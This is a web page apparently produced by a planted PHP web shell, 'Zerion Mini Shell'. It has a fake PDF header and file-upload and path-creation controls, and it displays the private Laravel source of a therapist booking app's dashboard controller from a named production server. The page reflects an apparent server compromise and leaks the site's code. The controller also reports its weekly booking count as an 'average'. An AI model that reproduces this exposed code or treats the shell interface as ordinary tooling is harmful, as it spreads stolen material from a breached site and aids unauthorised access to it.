%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Therapist/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Therapist/DashboardController.php

<?php

namespace App\Http\Controllers\Therapist;

use DB;
use Carbon\Carbon;
use App\Models\Booking;
use App\Models\Client;
use App\Http\Resources\ClientResource;
use App\Http\Resources\BookingResource;
use App\Repositories\ProgressRepository;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;

class DashboardController extends Controller
{
    /**
     * @var ProgressRepository $progressRepository
     */
    protected $progressRepository;

    /**
     * @param ProgressRepository $progressRepository
     */
    public function __construct(ProgressRepository $progressRepository)
    {
        $this->progressRepository = $progressRepository;
    }

    /**
     * Show the therapist dashboard information
     * 
     * @param Request $request
     */
    public function index(Request $request)
    {
        $user = auth()->user();

        $clients = $user->therapist->clients()
            ->take(3)
            ->get();

        $bookings_count = Booking::where('therapist_id', $user->therapist->id)
            ->whereBetween('created_at', [Carbon::now()->startOfWeek(), Carbon::now()->endOfWeek()])
            ->count();

        $bookings_count_avg = Booking::where('therapist_id', $user->therapist->id)
            ->whereBetween('created_at', [Carbon::now()->startOfWeek(), Carbon::now()->endOfWeek()])
            ->count();

        $clients_count = Client::where('therapist_id', $user->therapist->id)
            ->whereBetween('created_at', [Carbon::now()->startOfWeek(), Carbon::now()->endOfWeek()])
            ->count();

        $bookings = Booking::where('therapist_id', $user->therapist->id)
            ->with(['user', 'therapist'])
            ->where('start_date', '>=', Carbon::now())
            ->orderBy('start_date', 'asc')
            ->notCancelled()
            ->take(5)
            ->get()
            ->groupBy(function ($item) {
                return Carbon::parse($item->start_date)->format('Y-m-d');
            })->map(function ($item, $key) {
                return $item->map(function ($item, $key) {
                    return new BookingResource($item);
                });
            });

        return response()->json([
            'clients' => ClientResource::collection($clients),
            'bookings' => $bookings,
            'statistics' => [
                'bookings_count' => $bookings_count,
                'clients_count' => $clients_count,
                'average_bookings' => $bookings_count_avg,
            ],
            'progress' => [
                'total_progress' => $this->progressRepository->getTotalProgress($user),
                'profile' => $this->progressRepository->getProfileProgress($user),
                'availability' => $this->progressRepository->getAvailabilityProgress($user),
                'verification' => $this->progressRepository->getVerificationProgress($user),
                'financial' => $this->progressRepository->getFinancialProgress($user),
                'settings' => $this->progressRepository->getSettingsProgress($user)
            ]
        ]);
    }
}

Zerion Mini Shell 1.0